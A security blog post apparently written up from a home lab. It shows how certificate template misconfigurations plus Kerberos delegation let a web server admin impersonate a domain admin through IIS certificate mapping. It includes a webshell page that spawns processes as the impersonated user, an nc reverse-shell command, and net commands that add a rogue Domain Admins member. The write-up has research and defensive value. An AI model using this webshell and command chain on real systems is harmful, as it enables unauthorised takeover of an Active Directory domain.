I am back to my favorite security research: How to abuse certificates in a Windows / Active Directory environment!
If an Active Directory integrated certification authority sign a certificate with a custom Subject Alternative Name of your choosing, you can impersonate any administrator in an AD forest. I’ve published two blog posts about how to abuse this – logging on with smart cards, using Windows tools only and using a Linux attack box to start PKINIT with standard Kerberos tools. I was super honored last year, when these articles were quoted as prior work in the comprehensive Certified Pre-owned article and research paper.
My research had a prequel: In 2014 I’ve published two articles about User Principal Name mapping and the dangers of certificate template permissions – but using Windows IIS web server. I wrote about how to create certificates for iPhones – based on shadow accounts in AD that allow for the correct matching of certificate and AD object attributes – and only at the very end of the article I hinted at the dangers and linked to a PDF article hiding in my other website. The PDF was a write-up of a demo of Active Directory certificate mapping in web server IIS. Recently I copied this 2014 write-up on certificate mapping and the User Principal Name also to this blog. The last image looked like this:
A domain admin had logged on to this website, with a ‘rogue’ client certificate. No Linux attack box, no hardware token required, just a vanilla Windows server. It looks ‘dangerous’, but can you really run commands now that endanger Active Directory?
The short answer is: On principle yes, but only if there is yet another misconfiguration / ‘accidental test configuration’ related to Kerberos. If you have ever done Kerberos troubleshooting in a large AD environment, you know that ‘left over’ configurations exist; so this is not totally unlikely. But that needs to be paired with another misconfiguration of certificate templates.
I am describing the whole setup and code in detail in this article. This is not a new attack or a new risk – and most likely boring for Windows experts. But I wanted to add this sequel to sort of complete my series! Maybe that article is helping somebody with configuring Kerberos correctly to achieve something non-malicious :-)
Content
01 Tweet-Like Summary
02 Domain Environment
03 Certificate / User Principal Name Risk
04 Certificate Template (Mis-)Configuration
05 Web Server Configuration
06 Client Certificate Enrollment
07 Browser Config
08 HTML Demo App – Test of Mapping Config
09 Classic ASP App
10 ASP and Impersonation
11 ASP.NET Impersonation
12 Spawn a Process Under the Context of the Impersonated User
13 Access Denied: Shells, Tasks, Commands …
14 Kerberos Delegation
15 Now, the Final Test…
16 Summary
17 Appendix
Tweet-Like Summary (Up↑)
On a machine in the AD forest, install the IIS web server. Add a new ASP.NET application, configure it for Active Directory Client Certificate Mapping and for impersonation. use the code provided by Microsoft in this article: Spawn a process that runs under the context of the impersonated user in Microsoft ASP.NET.
Start your app, present your rogue admin certificate, and run a task, e.g. start a reverse shell. Find out that can only run commands on the local box. Move to another box with proper ‘accidental’ Kerberos delegation settings or social engineer somebody to get those. (If the web app would run on a DC, it would have worked immediately. But if you can install a web application on a DC, you might not really need that step anyway.)
Domain Environment (Up↑)
Two fresh Windows 2022 Servers: One of them (arthur) promoted to a domain controller of a new AD forest (universe.galaxy, Windows 2016 forest level). This DC also runs a ‘next-next-finish’ Windows Enterprise Certification Authority – the Don’t Panic CA. Co-location with DC is not recommended; I am just minimizing the number of machines needed.
(The weird names are a reference to the same classic as the WOP domain in the 2014 setup.)
There is one test user in this forest – Zaphod. He has no special privileges on AD objects with the exception of the permission on a certificate template as described in the next section. But he is a member the group Web Server Admins. This is to make the misconfiguration scenario somewhat realistic; you also nest more groups into each other – so that unintended memberships are not immediately clear.
The other server – trillian – is a member server joined to the domain. Note that normal domain user zaphod can join the machine! This does not require special privileges. zaphod@universe.galaxy is (is made / makes himself) a local administrator of the web server trillian, by adding the Web Server Admins to the Administrators group on trillian. Zaphod installs the minimum components of the IIS web server on trillian.
Certificate / User Principal Name Risk (Up↑)
I’ve tried to explain this in my previous articles in depth (2014, 2019, 2020). So, I am just giving a brief summary here: In a Windows Active Directory / Kerberos realm, a certificate can be mapped to a user. This mapping is based on matching the userPrincipalName LDAP attribute of the user object in AD with a User Principal Name in the Subject Alternative Name of the certificate. This mapping is automatic, turned on for all users in the AD forest. As mapping is based on names (strings) only, and not on binary certificates, the security hinges on the trustworthiness of the CA. Its certificate has to be added to an object in AD config container that only enterprise admins can write to (NTAuth).
Certificate logon functionality is, for example, used by the following ‘apps’ / functions built into Windows:
- Interactive logon of a user to a domain-joined machine, with a smartcard or USB crypt token (which can be ‘mimicked’ by a software certificate if you use Linux). Domain Controllers also need to have certificates, as authentication is mutual.
- Using Windows command line tools that support the /smartcard option, like net use or runas.
- Authenticating a VPN user by the Windows Radius server, NPS (Network Policy Server).
- 802.1x network authentication of users or machines.
- Windows Internet Information Service (IIS) with certificate mapping enabled.
Underrated dependencies and caveats:
- You do not need to explicitly turn on certificate logon. It’s automatically activated; it’s Kerberos functionality.
- The Domain Controller certificates you need for mutual authentication are often ‘accidentally’ deployed or are used for LDAPs. When an Enterprise CA is set up, the version 1 default template Domain Controller is published, and DCs automatically enrol it (based on a hard-coded, W2K functionality that precedes modern auto-enrollment).
- You must not delegate both management of a CA and management of certificate templates as if that were some application server. This would enable the delegated PKI admin to create templates that allow for custom names, and publish them to the CA. However, that type of delegation request has not been that uncommon in large AD environments that comprise many historically independent domains (“Subsidiary X needs a CA as they want to implement smart card logon.”)
Certificate Template (Mis-)Configuration (Up↑)
The domain admin creates a duplicate of the default template Authenticated Session (= Client Authentication for users) and configures it for custom names. This warning is there for a reason:
… and web server admin Zaphod got Enroll permissions, ‘accidentally’ because ‘somehow’ the Web Server Admins group got enroll permissions:
Maybe this was a test that become productive; maybe there was confusion because these admins got access another custom template – the one for the web server. (It is still popular among web server admins to send certificate requests via the /certsrv web app at the CA. For that, the sending user needs enroll permissions rather than the web server.)
There are now all the default templates (‘next-next-finish CA’) and the two custom templates:
Web Server Configuration (Up↑)
IIS supports 1:1 certificate mapping – based on individual (BASE64-encoded) certificate files configured at the web server. But it also supports automatic mapping based on the UPN; this does not require explicit adding of the certificate file but is based on string matching.
The SSL and certificate mapping config on Server 2022 is exactly the same as I showed in detail in 2014 (with Server 2012). Summarizing:
- Server admin zaphod enrols for a SSL certificate issued to trillian.universe.galaxy.
- The SSL certificate is bound at the web server; port 443 is used.
- Active Directory Certificate Mapping is added to IIS with Server Manager (Web Server / Security / Client Certificate Mapping Authentication), and it is enabled at the top level of the configuration.
- At the application level, the following needs to be done
- SSL enforced, and a client certificate is required.
- Certificate mapping is enabled, using IIS Configuration Editor.
- All other authentication options are turned off!
AD certificate mapping at the top level. Windows Authentication has also been installed, but is disabled.
Configuration at the application level (simple one-html-page test app). Note that this setting alone does not yet map the certificate to a user. You could enforce client certificate authentication without mapping – asking the user to prove their identity with a certificate, but not do something with an access token for that user.
This looks weird …
… but mapping is enabled here in the config (inherited from the top node of the config):
(iisClientCertificateMappingAuthentication refers to 1:1 mapping of binary certificates. clientCertificateMappingAuthentication is mapping UPN strings of AD user objects.)
Client Certificate Enrollment (Up↑)
… this time, using certmgr.msc as zaphod on the web server. zaphod enters Subject Name and UPN to his liking. Note that the common name does not matter:
Browser Config (Up↑)
I am adding https://*.universe.galaxy to the Intranet Zone (using Internet Explorer) and turn off the suppression of certificate popups:
Internet Explorer Enhanced Security Configuration is turned off (in Server Manager). This is to avoid unexpected issues with test web applications that you would not see with a client OS.
HTML Demo App – Test of Mapping Config (Up↑)
The ‘web page’ is just a text file renamed to default.asp.
Browsing http : // trillian.universe.galaxy (spaces to prevent WordPress’ automatic creation of URLs). Here is the popup with a single choice as I wanted it …
Logon is successful:
Now Zaphod knows that mapping as such works. He also sees this line in the IIS log file of trillian: The certificate has been mapped to the desired admin!
... GET /html/ - 443 UNIVERSE\Administrator fe80::c408:fdf6:f242:9d85%6 ...
Classic ASP App (Up↑)
I … sorry, Zaphod :-) … want(s) to run a command as the logged on admin, so we need a dynamic page with code. I am a dinosaur; I am using classic ASP.
Zaphod adds Classic ASP to IIS, in Server Manager (Web Server / Application Development / ASP).
The admin creates a new application at /asp; itcontains a single asp file. We are testing what privileges we have after authentication, and we run the whoami system command and check its output.
I am trying different server variables. We are authenticated as the impersonated admin \o/ That’s also what the IIS’ log file told us before!
However, when a new process is started to run whoami, it uses the identity of the low privileged application pool user (perhaps comparable to www-data on Apache).
Content of default.asp:
<% Dim strCmd, objShell, objCmd, strLine strCmd = "whoami" Response.Write "AUTH_USER Server Variable: <br>" Response.Write Request.ServerVariables("AUTH_USER") & "<br><br>" Response.Write "LOGON_USER Server Variable: <br>" Response.Write Request.ServerVariables("LOGON_USER") & "<br><br>" Response.Write "Running shell command: " & strCmd & "<br>" Set objShell = Server.CreateObject("WScript.Shell") Set objCmd = objShell.Exec("cmd /c" & strCmd) Do While objCmd.StdOut.AtEndOfStream = FALSE strLine = objCmd.StdOut.ReadLine Response.Write strLine & "<br>" Loop %>
Browser output
AUTH_USER Server Variable: UNIVERSE\Administrator LOGON_USER Server Variable: UNIVERSE\Administrator Running shell command: whoami iis apppool\asptestapppool
The following changes are sometimes recommended for classic ASP, but they do not change this result.
ASP and Impersonation (Up↑)
Actually, Classic ASP should impersonate the user – but obviously not in such an overarching way, for all processes started from the website. In the old days, I used to develop ASP applications for Windows CA management, similar in spirit (and in layout :-)) to the Web Enrolment Pages supplied with the Windows CA. You can use a COM object to access the Windows CA, addressing it like Server.CreateObject(“CertificateAuthority.Admin”)). With such COM objects, impersonation does definitely work: If and only if an authenticated user had admin permissions at the CA the object could be used for CA management.
Digression for your entertainment: I found this very promising – and a bit scary – quote in a forum …
Under IIS6, the site was configured to impersonate the logged-in user. Thus, if a domain admin logged in, he was able to run commands to create user directories, adjust permissions, etc. Using Procmon you can see the processes executing as that user. This worked fine.
… and I used that as an excuse to join a Windows 2003 server to the domain. (This requires enabling SMB1 on a Windows 2022 server). But running whoami from ASP ran as Network Service. I even tried some IIS 5 compatibility mode. Then I gave up on ASP.
I am not claiming that you cannot get it to work in Classic ASP (I guess you need a COM object, for example using a Scripting object and access the file system as a demo…). But I found it more straight-forward to switch to ASP.NET. Even as a dinosaur I had finally moved (my non-offensive programming of numerical simulations ;-)) to ASP.NET a while ago.
ASP.NET Impersonation (Up↑)
ASP.NET is also enabled as an IIS component with Server Manager. I am installing the newer version.
With .NET, impersonation have to be enabled explicitly, in the authentication settings of the app or via a web.config file in the root of the web app:
<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.web> <identity impersonate="true" /> </system.web> </configuration>
Trying to open an aspx page/script results in the following error:
This is a warning; it can be ignored using a config parameter or solved by switching to a classic app pool. Zaphod changes the app pool:
Zaphod tries a script-kiddy shell again, now in C#:
Content of default.aspx:
<% @Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.IO" %> <% Response.Write("User.Identity.Name: <br>"); Response.Write(User.Identity.Name + "<br><br>"); Response.Write("Environment.UserName: <br>"); Response.Write(Environment.UserName + "<br><br>"); ProcessStartInfo info = new ProcessStartInfo(); info.FileName = "cmd.exe"; info.Arguments = "/c whoami"; info.RedirectStandardOutput = true; info.UseShellExecute = false; Process p = Process.Start(info); StreamReader reader = p.StandardOutput; string s = reader.ReadToEnd(); reader.Close(); Response.Write(s); %>
Output, when browsing https://trillian.universe.galaxy/aspnet/
User.Identity.Name: UNIVERSE\Administrator Environment.UserName: Administrator iis apppool\aspnettestapppool
We are now at the point we were with Classic ASP. It maybe impersonates, somehow, but you have to do some work to preserve the security context for a new process. –>
Spawn a Process Under the Context of the Impersonated User (Up↑)
This article by Microsoft provides sample code that does exactly that: Spawn a process that runs under the context of the impersonated user in Microsoft ASP.NET. It is even a web form that lets you enter the path to the exe plus parameters.
I did not want to create an application with Visual Studio, as I wanted to learn which files I need at a minimum. After some trial and error, and comparing my two-file installation with a ASP.NET app in Visual Studio on a dev box, I came up with minor modifications to the sample code. (Mainly changes related to the event handler and how/where it is registered, and minor tweaks of the form fields).
I am adding the two files – evil.aspx ‘application’ plus C# code behind file to the appendix at the bottom of this post.
Access Denied: Shells, Tasks, Commands … (Up↑)
UNIVERSE\Administrator is a member of the local Administrators. From the evil.aspx web for, you can run administrative commands that change the web server itself from the web form, like creating a local user. This is not helpful as Zaphod is already local administror. As the impersonated admin, he wants to change something in Active Directory (perhaps to escalate privileges at other systems) – but this is not possible yet.
All of the following results in access denied errors:
- Create a domain user with net user from the web form.
- Trying to run the net user command directly on the DC, using psexec (from sysinternals).
- Promote the web server to a Domain Controller, running dcpromo with /unattend options :-)
- Start a reverse shell with nc.exe from the web form; the listener runs on the same box:
C:\TEST>nc64 -lvp 8888 listening on [any] 8888 ... connect to [127.0.0.1] from trillian.universe.galaxy [127.0.0.1] 62175 Microsoft Windows [Version 10.0.20348.587] (c) Microsoft Corporation. All rights reserved. c:\>whoami whoami universe\administrator c:\>net user EvilAdmin40 Password1! /ADD /DOMAIN net user EvilAdmin40 Password1! /ADD /DOMAIN The request will be processed at a domain controller for domain universe.galaxy. System error 5 has occurred. Access is denied.
- Create a new scheduled task – as you are local admin! – and run it.
I have been inspired by a clever comment on my EFS hacking article to use a task. Allow for a brief digression on how to create the task:
The EFS challenge was to read an encrypted file as SYSTEM (This was originally an unintended way to tackle a hackthebox machine). SYSTEM had injected the EFS certificate key and EFS registry policy – but yet ‘the user’ had to touch their file once so that the EFS attributes were actually updtaed. I suggested to social engineer the user into running the virus scanner. But there was a better option: Create a task as SYSTEM and run it. However, using schtasks or powershell, you can only create a task that will run when the user is logged on. Really logged on, ‘Desktop-style’ – A shell is not sufficient. In the EFS scenario that would not have been an obstacle. But here, we only have a shell, so we would need to create the task using programmatic options to set this ‘non-interactive flag’. It seems VBScript would be easier to handle than .NET here if you do not want to compile something, add references etc. Here is a VBScript sample…. and you need to set the correct logonType – S4U.
But it cannot work on principle – even if you set the non-interactive flag. The Task Scheduler GUI shows it nicely. If you do not know the user’s password, you could only access resources on the server locally. We are hitting the same wall again. If you do not select Do not store password you will be prompted for it.
But S4U rings a bell!
Kerberos Delegation (Up↑)
So, impersonation of users – and its limits – does work as designed! The web server receives a Kerberos ticket that lets it impersonate the user – but for access to resources on the web server only.
Only if the machine account (web server / service account) would be trusted for delegation, the ticket would allow for reaching out to ‘remote resources’. The evil.aspx web application could work for ‘AD object management’ – but only if it would be run on a Domain Controller. A DC is trusted for delegation by default. But if you can install a web application on a DC, you might not need the certificate hack anyway!
If the impersonated user should make changes to Active Directory (and thus reach out to a Domain Controller), we need Kerberos Delegation. But for configuring delegation, we need to change the machine account of the web server in Active Directory (if web server’s application pool runs as ApplicationPoolIdentity. Otherwise a user account set as service account woud need to be changed). To achieve that, our malicious server admin would need to rely on social engineering a domain admin, or they would need to use an existing ‘leftover’ / ‘test’ configuration. For example, a (former) front end web server authenticating users and impersonating them for giving them access to a backend server would be trusted for delegation. It should be trusted only for a specific service running in the backend, but maybe maybe during testing ;-) the account got trusted for any service:
After configuring delegation, the web server needs to be rebooted; or the attacker needs to wait for several hours – until a new Kerberos ticket hast been issued. Again, we try to create a new user with net user, in the reverse shell. Again, we see the same type of Kerberos error that all the other attempts before (psexec, tasks, shells,…) has triggered.
A Kerberos error message was received: on logon session ... Error Code: 0xd KDC_ERR_BADOPTION Extended Error: 0xc0000225 KLIN(0) ... Server Realm: UNIVERSE.GALAXY Server Name: cifs/arthur.universe.galaxy Target Name: cifs/arthur.universe.galaxy@UNIVERSE.GALAXY
Kerberos logging is turned on like this. Note:
KDC_ERR_S_BADOPTION is used by the Kerberos client to retrieve tickets with particular options set, for example, with certain delegation flags. When the requested type of delegation is not possible, this is the error that is returned. The Kerberos client would then try to get the requested tickets using other flags, which may succeed.
Logging on with a certificate causes a so-called protocol transition to Kerberos. I am trying to find a good white paper for that, and as usual I end up with citing the classics of the Windows Server 2003 era: Using Protocol Transition—Tips from the Trenches.
For an exhaustive explanation of Kerberos see the classic – all steps, all exchanges of tickets illustrated in detail in: How the Kerberos Version 5 Authentication Protocol Works,
This is the ‘accidental configuration’ we would need – we have to specify the service (on the DC) here. the web server can use its ticket to impersonate the user when accessing the Domain Controller ARTHUR via cifs (using net … commands).
Now, the Final Test… 😈 (Up↑)
Starting a shell from the web form on the evil.aspx page:
c:\TEST\nc64.exe -e cmd 127.0.0.1 8888
Receiving the shell on the same box:
C:\TEST>nc64.exe -lvp 8888 listening on [any] 8888 ... connect to [127.0.0.1] from trillian.universe.galaxy [127.0.0.1] 49737 Microsoft Windows [Version 10.0.20348.587] (c) Microsoft Corporation. All rights reserved. c:\>whoami whoami universe\administrator c:\>net user EvilAdmin42 Password1! /ADD /DOMAIN net user EvilAdmin42 Password1! /ADD /DOMAIN The request will be processed at a domain controller for domain universe.galaxy. The command completed successfully. c:\>net group "Domain Admins" EvilAdmin42 /ADD /DOMAIN net group "Domain Admins" EvilAdmin42 /ADD /DOMAIN The request will be processed at a domain controller for domain universe.galaxy.
The command completed successfully.
c:\>
And there the evil admin is!
\o/
Tested with application pool running as ApplicationPoolIdentity or as NetworkService. Another option would be an AD user configured as the application pool identity. In this case, a service principal name (SPN) for the web service (HTTP/fqdn.of.webserver) has to be set.
Summary (Up↑)
The goal was to utilize a ‘stolen’ certificate for a domain admin on a member server, without using a smartcard and without using a Linux ‘domain member’. So, the user does not logon interactively, but is impersonated by another service – a web server. Steps:
- Configure a web application on a member server for Active directory certificate mapping.
- Using custom code (sample code provided by Microsoft) to let the web server impersonate the authenticated user.
- Make the web server’s computer account trusted for delegation, and allow protocol transition.
If a malicious web server admin is allowed to enroll for certificates with custom names, they can …
- Get a certificate with an enterprise admin’s User Principal Name in the Subject Alternative Name.
- Use this certificate to authenticate to the web server.
- Use custom code (sample code by Microsoft) to run new processes from the web server, as the impersonated user.
- If Kerberos delegation works, the impersonated admin can make changes to AD objects.
You need two misconfigurations to make this attack work:
- Certificate templates allowing for custom names and a lack of proper validation of such names.
- A Kerberos delegation in place for the machine account of the web server.
Each misconfiguration is not that unrealistic. I’ve often cleaned up certificate templates, as well as ‘accidental’ / ‘test’ Kerberos SPNs or delegations. The combination might be unlikely.
Appendix (Up↑)
Demo web application, code by Microsoft, plus minor changes to create this ‘web application’ without using Visual Studio.
Content of evil.aspx
<%@ Page language="c#" CodeFile="evil.aspx.cs" AutoEventWireup="false" Inherits="EvilForm" %> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" > <HTML> <HEAD> <title>WebForm1</title> </HEAD> <body> <p>Link: <a href="https://docs.microsoft.com/en-us/troubleshoot/developer/webapps/aspnet/development/spawn-process-under-impersonated-user" target="_blank"> https://docs.microsoft.com/en-us/troubleshoot/developer/webapps/aspnet/development/spawn-process-under-impersonated-user</a></p> <form id="Form1" method="post" runat="server"> <P> </P> <P> Enter Path of process to be run (with relevant parameters) <asp:TextBox id="TextBox1" runat="server" width="500px"></asp:TextBox> </P> <P> <asp:Button id="Button1" runat="server" Text="CreateProcess" OnClick="Button1_Click"></asp:Button> </P> <P> <asp:Label id="Label1" runat="server">Status:</asp:Label> </P> <P> <asp:Label id="Label2" runat="server">Impersonated Identity:</asp:Label> </P> </form> </body> </HTML>
Content of evil.aspx.cs
using System; using System.Web.UI; using System.Runtime.InteropServices; using System.Security.Principal; public partial class EvilForm : System.Web.UI.Page { [StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO { public int cb; public String lpReserved; public String lpDesktop; public String lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES { public int Length; public IntPtr lpSecurityDescriptor; public bool bInheritHandle; } [DllImport("kernel32.dll", EntryPoint = "CloseHandle", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public extern static bool CloseHandle(IntPtr handle); [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)] public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")] public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle); void Page_Load(Object sender, EventArgs e) { Button1.Click += new EventHandler(this.Button1_Click); } public void Button1_Click(object sender, System.EventArgs e) { IntPtr Token = new IntPtr(0); IntPtr DupedToken = new IntPtr(0); bool ret; Label2.Text += WindowsIdentity.GetCurrent().Name.ToString() + "<br>"; SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); sa.bInheritHandle = false; sa.Length = Marshal.SizeOf(sa); sa.lpSecurityDescriptor = (IntPtr)0; Token = WindowsIdentity.GetCurrent().Token; const uint GENERIC_ALL = 0x10000000; const int SecurityImpersonation = 2; const int TokenType = 1; ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken); if (ret == false) { Label1.Text += "DuplicateTokenEx failed with " + Marshal.GetLastWin32Error() + "<br>"; } else { Label1.Text += "DuplicateTokenEx SUCCESS<br>"; STARTUPINFO si = new STARTUPINFO(); si.cb = Marshal.SizeOf(si); si.lpDesktop = ""; string commandLinePath; commandLinePath = TextBox1.Text; PROCESS_INFORMATION pi = new PROCESS_INFORMATION(); ret = CreateProcessAsUser(DupedToken, null, commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, "c:\\", ref si, out pi); if (ret == false) { Label1.Text += "CreateProcessAsUser failed with " + Marshal.GetLastWin32Error() + "<br>"; } else { Label1.Text += "CreateProcessAsUser SUCCESS. The child PID is" + pi.dwProcessId + "<br>"; CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } ret = CloseHandle(DupedToken); if (ret == false) { Label1.Text += Marshal.GetLastWin32Error() + "<br>"; } else { Label1.Text += "CloseHandle SUCCESS<br>"; } } } }